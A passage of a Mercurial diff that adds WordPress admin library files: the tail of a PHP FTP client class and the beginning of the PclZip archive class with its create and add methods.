$l2[2]; + } else { + $b['year'] = $lucifer[7]; + $b['hour'] = 0; + $b['minute'] = 0; + } + $b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute'])); + $b['name'] = $lucifer[8]; + } + } + + return $b; + } + + function SendMSG($message = "", $crlf=true) { + if ($this->Verbose) { + echo $message.($crlf?CRLF:""); + flush(); + } + return TRUE; + } + + function SetType($mode=FTP_AUTOASCII) { + if(!in_array($mode, $this->AuthorizedTransferMode)) { + $this->SendMSG("Wrong type"); + return FALSE; + } + $this->_type=$mode; + $this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) ); + return TRUE; + } + + function _settype($mode=FTP_ASCII) { + if($this->_ready) { + if($mode==FTP_BINARY) { + if($this->_curtype!=FTP_BINARY) { + if(!$this->_exec("TYPE I", "SetType")) return FALSE; + $this->_curtype=FTP_BINARY; + } + } elseif($this->_curtype!=FTP_ASCII) { + if(!$this->_exec("TYPE A", "SetType")) return FALSE; + $this->_curtype=FTP_ASCII; + } + } else return FALSE; + return TRUE; + } + + function Passive($pasv=NULL) { + if(is_null($pasv)) $this->_passive=!$this->_passive; + else $this->_passive=$pasv; + if(!$this->_port_available and !$this->_passive) { + $this->SendMSG("Only passive connections available!"); + $this->_passive=TRUE; + return FALSE; + } + $this->SendMSG("Passive mode ".($this->_passive?"on":"off")); + return TRUE; + } + + function SetServer($host, $port=21, $reconnect=true) { + if(!is_long($port)) { + $this->verbose=true; + $this->SendMSG("Incorrect port syntax"); + return FALSE; + } else { + $ip=@gethostbyname($host); + $dns=@gethostbyaddr($host); + if(!$ip) $ip=$host; + if(!$dns) $dns=$host; + // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false + // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid + $ipaslong = ip2long($ip); + if ( ($ipaslong == false) || ($ipaslong === -1) ) { + $this->SendMSG("Wrong host name/address \"".$host."\""); + return FALSE; + } + $this->_host=$ip; + $this->_fullhost=$dns; + $this->_port=$port; + $this->_dataport=$port-1; + } + $this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\""); + if($reconnect){ + if($this->_connected) { + $this->SendMSG("Reconnecting"); + if(!$this->quit(FTP_FORCE)) return FALSE; + if(!$this->connect()) return FALSE; + } + } + return TRUE; + } + + function SetUmask($umask=0022) { + $this->_umask=$umask; + umask($this->_umask); + $this->SendMSG("UMASK 0".decoct($this->_umask)); + return TRUE; + } + + function SetTimeout($timeout=30) { + $this->_timeout=$timeout; + $this->SendMSG("Timeout ".$this->_timeout); + if($this->_connected) + if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE; + return TRUE; + } + + function connect($server=NULL) { + if(!empty($server)) { + if(!$this->SetServer($server)) return false; + } + if($this->_ready) return true; + $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]); + if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) { + $this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\""); + return FALSE; + } + $this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting."); + do { + if(!$this->_readmsg()) return FALSE; + if(!$this->_checkCode()) return FALSE; + $this->_lastaction=time(); + } while($this->_code<200); + $this->_ready=true; + $syst=$this->systype(); + if(!$syst) $this->SendMSG("Can't detect remote OS"); + else { + if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows; + elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac; + elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix; + else $this->OS_remote=FTP_OS_Mac; + $this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]); + } + if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled"); + else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features))); + return TRUE; + } + + function quit($force=false) { + if($this->_ready) { + if(!$this->_exec("QUIT") and !$force) return FALSE; + if(!$this->_checkCode() and !$force) return FALSE; + $this->_ready=false; + $this->SendMSG("Session finished"); + } + $this->_quit(); + return TRUE; + } + + function login($user=NULL, $pass=NULL) { + if(!is_null($user)) $this->_login=$user; + else $this->_login="anonymous"; + if(!is_null($pass)) $this->_password=$pass; + else $this->_password="anon@anon.com"; + if(!$this->_exec("USER ".$this->_login, "login")) return FALSE; + if(!$this->_checkCode()) return FALSE; + if($this->_code!=230) { + if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE; + if(!$this->_checkCode()) return FALSE; + } + $this->SendMSG("Authentication succeeded"); + if(empty($this->_features)) { + if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled"); + else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features))); + } + return TRUE; + } + + function pwd() { + if(!$this->_exec("PWD", "pwd")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return ereg_replace("^[0-9]{3} \"(.+)\".+", "\\1", $this->_message); + } + + function cdup() { + if(!$this->_exec("CDUP", "cdup")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return true; + } + + function chdir($pathname) { + if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return TRUE; + } + + function rmdir($pathname) { + if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return TRUE; + } + + function mkdir($pathname) { + if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return TRUE; + } + + function rename($from, $to) { + if(!$this->_exec("RNFR ".$from, "rename")) return FALSE; + if(!$this->_checkCode()) return FALSE; + if($this->_code==350) { + if(!$this->_exec("RNTO ".$to, "rename")) return FALSE; + if(!$this->_checkCode()) return FALSE; + } else return FALSE; + return TRUE; + } + + function filesize($pathname) { + if(!isset($this->_features["SIZE"])) { + $this->PushError("filesize", "not supported by server"); + return FALSE; + } + if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message); + } + + function abort() { + if(!$this->_exec("ABOR", "abort")) return FALSE; + if(!$this->_checkCode()) { + if($this->_code!=426) return FALSE; + if(!$this->_readmsg("abort")) return FALSE; + if(!$this->_checkCode()) return FALSE; + } + return true; + } + + function mdtm($pathname) { + if(!isset($this->_features["MDTM"])) { + $this->PushError("mdtm", "not supported by server"); + return FALSE; + } + if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE; + if(!$this->_checkCode()) return FALSE; + $mdtm = ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message); + $date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d"); + $timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]); + return $timestamp; + } + + function systype() { + if(!$this->_exec("SYST", "systype")) return FALSE; + if(!$this->_checkCode()) return FALSE; + $DATA = explode(" ", $this->_message); + return array($DATA[1], $DATA[3]); + } + + function delete($pathname) { + if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return TRUE; + } + + function site($command, $fnction="site") { + if(!$this->_exec("SITE ".$command, $fnction)) return FALSE; + if(!$this->_checkCode()) return FALSE; + return TRUE; + } + + function chmod($pathname, $mode) { + if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE; + return TRUE; + } + + function restore($from) { + if(!isset($this->_features["REST"])) { + $this->PushError("restore", "not supported by server"); + return FALSE; + } + if($this->_curtype!=FTP_BINARY) { + $this->PushError("restore", "can't restore in ASCII mode"); + return FALSE; + } + if(!$this->_exec("REST ".$from, "resore")) return FALSE; + if(!$this->_checkCode()) return FALSE; + return TRUE; + } + + function features() { + if(!$this->_exec("FEAT", "features")) return FALSE; + if(!$this->_checkCode()) return FALSE; + $f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY); + $this->_features=array(); + foreach($f as $k=>$v) { + $v=explode(" ", trim($v)); + $this->_features[array_shift($v)]=$v;; + } + return true; + } + + function rawlist($pathname="", $arg="") { + return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist"); + } + + function nlist($pathname="") { + return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist"); + } + + function is_exists($pathname) { + return $this->file_exists($pathname); + } + + function file_exists($pathname) { + $exists=true; + if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE; + else { + if(!$this->_checkCode()) $exists=FALSE; + $this->abort(); + } + if($exists) $this->SendMSG("Remote file ".$pathname." exists"); + else $this->SendMSG("Remote file ".$pathname." does not exist"); + return $exists; + } + + function fget($fp, $remotefile,$rest=0) { + if($this->_can_restore and $rest!=0) fseek($fp, $rest); + $pi=pathinfo($remotefile); + if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; + else $mode=FTP_BINARY; + if(!$this->_data_prepare($mode)) { + return FALSE; + } + if($this->_can_restore and $rest!=0) $this->restore($rest); + if(!$this->_exec("RETR ".$remotefile, "get")) { + $this->_data_close(); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + return FALSE; + } + $out=$this->_data_read($mode, $fp); + $this->_data_close(); + if(!$this->_readmsg()) return FALSE; + if(!$this->_checkCode()) return FALSE; + return $out; + } + + function get($remotefile, $localfile=NULL, $rest=0) { + if(is_null($localfile)) $localfile=$remotefile; + if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten"); + $fp = @fopen($localfile, "w"); + if (!$fp) { + $this->PushError("get","can't open local file", "Cannot create \"".$localfile."\""); + return FALSE; + } + if($this->_can_restore and $rest!=0) fseek($fp, $rest); + $pi=pathinfo($remotefile); + if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; + else $mode=FTP_BINARY; + if(!$this->_data_prepare($mode)) { + fclose($fp); + return FALSE; + } + if($this->_can_restore and $rest!=0) $this->restore($rest); + if(!$this->_exec("RETR ".$remotefile, "get")) { + $this->_data_close(); + fclose($fp); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + fclose($fp); + return FALSE; + } + $out=$this->_data_read($mode, $fp); + fclose($fp); + $this->_data_close(); + if(!$this->_readmsg()) return FALSE; + if(!$this->_checkCode()) return FALSE; + return $out; + } + + function fput($remotefile, $fp) { + if($this->_can_restore and $rest!=0) fseek($fp, $rest); + $pi=pathinfo($remotefile); + if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; + else $mode=FTP_BINARY; + if(!$this->_data_prepare($mode)) { + return FALSE; + } + if($this->_can_restore and $rest!=0) $this->restore($rest); + if(!$this->_exec("STOR ".$remotefile, "put")) { + $this->_data_close(); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + return FALSE; + } + $ret=$this->_data_write($mode, $fp); + $this->_data_close(); + if(!$this->_readmsg()) return FALSE; + if(!$this->_checkCode()) return FALSE; + return $ret; + } + + function put($localfile, $remotefile=NULL, $rest=0) { + if(is_null($remotefile)) $remotefile=$localfile; + if (!file_exists($localfile)) { + $this->PushError("put","can't open local file", "No such file or directory \"".$localfile."\""); + return FALSE; + } + $fp = @fopen($localfile, "r"); + + if (!$fp) { + $this->PushError("put","can't open local file", "Cannot read file \"".$localfile."\""); + return FALSE; + } + if($this->_can_restore and $rest!=0) fseek($fp, $rest); + $pi=pathinfo($localfile); + if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; + else $mode=FTP_BINARY; + if(!$this->_data_prepare($mode)) { + fclose($fp); + return FALSE; + } + if($this->_can_restore and $rest!=0) $this->restore($rest); + if(!$this->_exec("STOR ".$remotefile, "put")) { + $this->_data_close(); + fclose($fp); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + fclose($fp); + return FALSE; + } + $ret=$this->_data_write($mode, $fp); + fclose($fp); + $this->_data_close(); + if(!$this->_readmsg()) return FALSE; + if(!$this->_checkCode()) return FALSE; + return $ret; + } + + function mput($local=".", $remote=NULL, $continious=false) { + $local=realpath($local); + if(!@file_exists($local)) { + $this->PushError("mput","can't open local folder", "Cannot stat folder \"".$local."\""); + return FALSE; + } + if(!is_dir($local)) return $this->put($local, $remote); + if(empty($remote)) $remote="."; + elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE; + if($handle = opendir($local)) { + $list=array(); + while (false !== ($file = readdir($handle))) { + if ($file != "." && $file != "..") $list[]=$file; + } + closedir($handle); + } else { + $this->PushError("mput","can't open local folder", "Cannot read folder \"".$local."\""); + return FALSE; + } + if(empty($list)) return TRUE; + $ret=true; + foreach($list as $el) { + if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el); + else $t=$this->put($local."/".$el, $remote."/".$el); + if(!$t) { + $ret=FALSE; + if(!$continious) break; + } + } + return $ret; + + } + + function mget($remote, $local=".", $continious=false) { + $list=$this->rawlist($remote, "-lA"); + if($list===false) { + $this->PushError("mget","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents"); + return FALSE; + } + if(empty($list)) return true; + if(!@file_exists($local)) { + if(!@mkdir($local)) { + $this->PushError("mget","can't create local folder", "Cannot create folder \"".$local."\""); + return FALSE; + } + } + foreach($list as $k=>$v) { + $list[$k]=$this->parselisting($v); + if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); + } + $ret=true; + foreach($list as $el) { + if($el["type"]=="d") { + if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) { + $this->PushError("mget", "can't copy folder", "Can't copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""); + $ret=false; + if(!$continious) break; + } + } else { + if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) { + $this->PushError("mget", "can't copy file", "Can't copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\""); + $ret=false; + if(!$continious) break; + } + } + @chmod($local."/".$el["name"], $el["perms"]); + $t=strtotime($el["date"]); + if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t); + } + return $ret; + } + + function mdel($remote, $continious=false) { + $list=$this->rawlist($remote, "-la"); + if($list===false) { + $this->PushError("mdel","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents"); + return false; + } + + foreach($list as $k=>$v) { + $list[$k]=$this->parselisting($v); + if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]); + } + $ret=true; + + foreach($list as $el) { + if ( empty($el) ) + continue; + + if($el["type"]=="d") { + if(!$this->mdel($remote."/".$el["name"], $continious)) { + $ret=false; + if(!$continious) break; + } + } else { + if (!$this->delete($remote."/".$el["name"])) { + $this->PushError("mdel", "can't delete file", "Can't delete remote file \"".$remote."/".$el["name"]."\""); + $ret=false; + if(!$continious) break; + } + } + } + + if(!$this->rmdir($remote)) { + $this->PushError("mdel", "can't delete folder", "Can't delete remote folder \"".$remote."/".$el["name"]."\""); + $ret=false; + } + return $ret; + } + + function mmkdir($dir, $mode = 0777) { + if(empty($dir)) return FALSE; + if($this->is_exists($dir) or $dir == "/" ) return TRUE; + if(!$this->mmkdir(dirname($dir), $mode)) return false; + $r=$this->mkdir($dir, $mode); + $this->chmod($dir,$mode); + return $r; + } + + function glob($pattern, $handle=NULL) { + $path=$output=null; + if(PHP_OS=='WIN32') $slash='\\'; + else $slash='/'; + $lastpos=strrpos($pattern,$slash); + if(!($lastpos===false)) { + $path=substr($pattern,0,-$lastpos-1); + $pattern=substr($pattern,$lastpos); + } else $path=getcwd(); + if(is_array($handle) and !empty($handle)) { + while($dir=each($handle)) { + if($this->glob_pattern_match($pattern,$dir)) + $output[]=$dir; + } + } else { + $handle=@opendir($path); + if($handle===false) return false; + while($dir=readdir($handle)) { + if($this->glob_pattern_match($pattern,$dir)) + $output[]=$dir; + } + closedir($handle); + } + if(is_array($output)) return $output; + return false; + } + + function glob_pattern_match($pattern,$string) { + $out=null; + $chunks=explode(';',$pattern); + foreach($chunks as $pattern) { + $escape=array('$','^','.','{','}','(',')','[',']','|'); + while(strpos($pattern,'**')!==false) + $pattern=str_replace('**','*',$pattern); + foreach($escape as $probe) + $pattern=str_replace($probe,"\\$probe",$pattern); + $pattern=str_replace('?*','*', + str_replace('*?','*', + str_replace('*',".*", + str_replace('?','.{1,1}',$pattern)))); + $out[]=$pattern; + } + if(count($out)==1) return($this->glob_regexp("^$out[0]$",$string)); + else { + foreach($out as $tester) + if($this->my_regexp("^$tester$",$string)) return true; + } + return false; + } + + function glob_regexp($pattern,$probe) { + $sensitive=(PHP_OS!='WIN32'); + return ($sensitive? + ereg($pattern,$probe): + eregi($pattern,$probe) + ); + } + + function dirlist($remote) { + $list=$this->rawlist($remote, "-la"); + if($list===false) { + $this->PushError("dirlist","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents"); + return false; + } + + $dirlist = array(); + foreach($list as $k=>$v) { + $entry=$this->parselisting($v); + if ( empty($entry) ) + continue; + + if($entry["name"]=="." or $entry["name"]=="..") + continue; + + $dirlist[$entry['name']] = $entry; + } + + return $dirlist; + } +// +// +// + function _checkCode() { + return ($this->_code<400 and $this->_code>0); + } + + function _list($arg="", $cmd="LIST", $fnction="_list") { + if(!$this->_data_prepare()) return false; + if(!$this->_exec($cmd.$arg, $fnction)) { + $this->_data_close(); + return FALSE; + } + if(!$this->_checkCode()) { + $this->_data_close(); + return FALSE; + } + $out=""; + if($this->_code<200) { + $out=$this->_data_read(); + $this->_data_close(); + if(!$this->_readmsg()) return FALSE; + if(!$this->_checkCode()) return FALSE; + if($out === FALSE ) return FALSE; + $out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY); +// $this->SendMSG(implode($this->_eol_code[$this->OS_local], $out)); + } + return $out; + } + +// +// +// +// Gnre une erreur pour traitement externe la classe + function PushError($fctname,$msg,$desc=false){ + $error=array(); + $error['time']=time(); + $error['fctname']=$fctname; + $error['msg']=$msg; + $error['desc']=$desc; + if($desc) $tmp=' ('.$desc.')'; else $tmp=''; + $this->SendMSG($fctname.': '.$msg.$tmp); + return(array_push($this->_error_array,$error)); + } + +// Rcupre une erreur externe + function PopError(){ + if(count($this->_error_array)) return(array_pop($this->_error_array)); + else return(false); + } +} + +$mod_sockets=TRUE; +if (!extension_loaded('sockets')) { + $prefix = (PHP_SHLIB_SUFFIX == 'dll') ? 'php_' : ''; + if(!@dl($prefix . 'sockets.' . PHP_SHLIB_SUFFIX)) $mod_sockets=FALSE; +} + +require_once "class-ftp-".($mod_sockets?"sockets":"pure").".php"; +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/class-pclzip.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/class-pclzip.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5687 @@ +zipname = $p_zipname; + $this->zip_fd = 0; + $this->magic_quotes_status = -1; + + // ----- Return + return; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // create($p_filelist, $p_add_dir="", $p_remove_dir="") + // create($p_filelist, $p_option, $p_option_value, ...) + // Description : + // This method supports two different synopsis. The first one is historical. + // This method creates a Zip Archive. The Zip file is created in the + // filesystem. The files and directories indicated in $p_filelist + // are added in the archive. See the parameters description for the + // supported format of $p_filelist. + // When a directory is in the list, the directory and its content is added + // in the archive. + // In this synopsis, the function takes an optional variable list of + // options. See bellow the supported options. + // Parameters : + // $p_filelist : An array containing file or directory names, or + // a string containing one filename or one directory name, or + // a string containing a list of filenames and/or directory + // names separated by spaces. + // $p_add_dir : A path to add before the real path of the archived file, + // in order to have it memorized in the archive. + // $p_remove_dir : A path to remove from the real path of the file to archive, + // in order to have a shorter path memorized in the archive. + // When $p_add_dir and $p_remove_dir are set, $p_remove_dir + // is removed first, before $p_add_dir is added. + // Options : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_OPT_COMMENT : + // PCLZIP_CB_PRE_ADD : + // PCLZIP_CB_POST_ADD : + // Return Values : + // 0 on failure, + // The list of the added files, with a status of the add action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function create($p_filelist) + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Set default values + $v_options = array(); + $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Look for arguments + if ($v_size > 1) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Remove from the options list the first argument + array_shift($v_arg_list); + $v_size--; + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_ADD => 'optional', + PCLZIP_CB_POST_ADD => 'optional', + PCLZIP_OPT_NO_COMPRESSION => 'optional', + PCLZIP_OPT_COMMENT => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + //, PCLZIP_OPT_CRYPT => 'optional' + )); + if ($v_result != 1) { + return 0; + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; + } + else if ($v_size > 2) { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, + "Invalid number / type of arguments"); + return 0; + } + } + } + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Init + $v_string_list = array(); + $v_att_list = array(); + $v_filedescr_list = array(); + $p_result_list = array(); + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) { + + // ----- Look if the first element is also an array + // This will mean that this is a file description entry + if (isset($p_filelist[0]) && is_array($p_filelist[0])) { + $v_att_list = $p_filelist; + } + + // ----- The list is a list of string names + else { + $v_string_list = $p_filelist; + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) { + // ----- Create a list from the string + $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); + } + + // ----- Invalid variable type for $p_filelist + else { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist"); + return 0; + } + + // ----- Reformat the string list + if (sizeof($v_string_list) != 0) { + foreach ($v_string_list as $v_string) { + if ($v_string != '') { + $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; + } + else { + } + } + } + + // ----- For each file in the list check the attributes + $v_supported_attributes + = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' + ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' + ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' + ,PCLZIP_ATT_FILE_MTIME => 'optional' + ,PCLZIP_ATT_FILE_CONTENT => 'optional' + ,PCLZIP_ATT_FILE_COMMENT => 'optional' + ); + foreach ($v_att_list as $v_entry) { + $v_result = $this->privFileDescrParseAtt($v_entry, + $v_filedescr_list[], + $v_options, + $v_supported_attributes); + if ($v_result != 1) { + return 0; + } + } + + // ----- Expand the filelist (expand directories) + $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Call the create fct + $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Return + return $p_result_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : + // add($p_filelist, $p_add_dir="", $p_remove_dir="") + // add($p_filelist, $p_option, $p_option_value, ...) + // Description : + // This method supports two synopsis. The first one is historical. + // This methods add the list of files in an existing archive. + // If a file with the same name already exists, it is added at the end of the + // archive, the first one is still present. + // If the archive does not exist, it is created. + // Parameters : + // $p_filelist : An array containing file or directory names, or + // a string containing one filename or one directory name, or + // a string containing a list of filenames and/or directory + // names separated by spaces. + // $p_add_dir : A path to add before the real path of the archived file, + // in order to have it memorized in the archive. + // $p_remove_dir : A path to remove from the real path of the file to archive, + // in order to have a shorter path memorized in the archive. + // When $p_add_dir and $p_remove_dir are set, $p_remove_dir + // is removed first, before $p_add_dir is added. + // Options : + // PCLZIP_OPT_ADD_PATH : + // PCLZIP_OPT_REMOVE_PATH : + // PCLZIP_OPT_REMOVE_ALL_PATH : + // PCLZIP_OPT_COMMENT : + // PCLZIP_OPT_ADD_COMMENT : + // PCLZIP_OPT_PREPEND_COMMENT : + // PCLZIP_CB_PRE_ADD : + // PCLZIP_CB_POST_ADD : + // Return Values : + // 0 on failure, + // The list of the added files, with a status of the add action. + // (see PclZip::listContent() for list entry format) + // -------------------------------------------------------------------------------- + function add($p_filelist) + { + $v_result=1; + + // ----- Reset the error handler + $this->privErrorReset(); + + // ----- Set default values + $v_options = array(); + $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; + + // ----- Look for variable options arguments + $v_size = func_num_args(); + + // ----- Look for arguments + if ($v_size > 1) { + // ----- Get the arguments + $v_arg_list = func_get_args(); + + // ----- Remove form the options list the first argument + array_shift($v_arg_list); + $v_size--; + + // ----- Look for first arg + if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { + + // ----- Parse the options + $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, + array (PCLZIP_OPT_REMOVE_PATH => 'optional', + PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', + PCLZIP_OPT_ADD_PATH => 'optional', + PCLZIP_CB_PRE_ADD => 'optional', + PCLZIP_CB_POST_ADD => 'optional', + PCLZIP_OPT_NO_COMPRESSION => 'optional', + PCLZIP_OPT_COMMENT => 'optional', + PCLZIP_OPT_ADD_COMMENT => 'optional', + PCLZIP_OPT_PREPEND_COMMENT => 'optional', + PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', + PCLZIP_OPT_TEMP_FILE_ON => 'optional', + PCLZIP_OPT_TEMP_FILE_OFF => 'optional' + //, PCLZIP_OPT_CRYPT => 'optional' + )); + if ($v_result != 1) { + return 0; + } + } + + // ----- Look for 2 args + // Here we need to support the first historic synopsis of the + // method. + else { + + // ----- Get the first argument + $v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0]; + + // ----- Look for the optional second argument + if ($v_size == 2) { + $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1]; + } + else if ($v_size > 2) { + // ----- Error log + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); + + // ----- Return + return 0; + } + } + } + + // ----- Look for default option values + $this->privOptionDefaultThreshold($v_options); + + // ----- Init + $v_string_list = array(); + $v_att_list = array(); + $v_filedescr_list = array(); + $p_result_list = array(); + + // ----- Look if the $p_filelist is really an array + if (is_array($p_filelist)) { + + // ----- Look if the first element is also an array + // This will mean that this is a file description entry + if (isset($p_filelist[0]) && is_array($p_filelist[0])) { + $v_att_list = $p_filelist; + } + + // ----- The list is a list of string names + else { + $v_string_list = $p_filelist; + } + } + + // ----- Look if the $p_filelist is a string + else if (is_string($p_filelist)) { + // ----- Create a list from the string + $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist); + } + + // ----- Invalid variable type for $p_filelist + else { + PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist"); + return 0; + } + + // ----- Reformat the string list + if (sizeof($v_string_list) != 0) { + foreach ($v_string_list as $v_string) { + $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string; + } + } + + // ----- For each file in the list check the attributes + $v_supported_attributes + = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' + ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' + ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' + ,PCLZIP_ATT_FILE_MTIME => 'optional' + ,PCLZIP_ATT_FILE_CONTENT => 'optional' + ,PCLZIP_ATT_FILE_COMMENT => 'optional' + ); + foreach ($v_att_list as $v_entry) { + $v_result = $this->privFileDescrParseAtt($v_entry, + $v_filedescr_list[], + $v_options, + $v_supported_attributes); + if ($v_result != 1) { + return 0; + } + } + + // ----- Expand the filelist (expand directories) + $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Call the create fct + $v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options); + if ($v_result != 1) { + return 0; + } + + // ----- Return + return $p_result_list; + } + // -------------------------------------------------------------------------------- + + // -------------------------------------------------------------------------------- + // Function : listContent() + // Description : + // This public method, gives the list of the files and 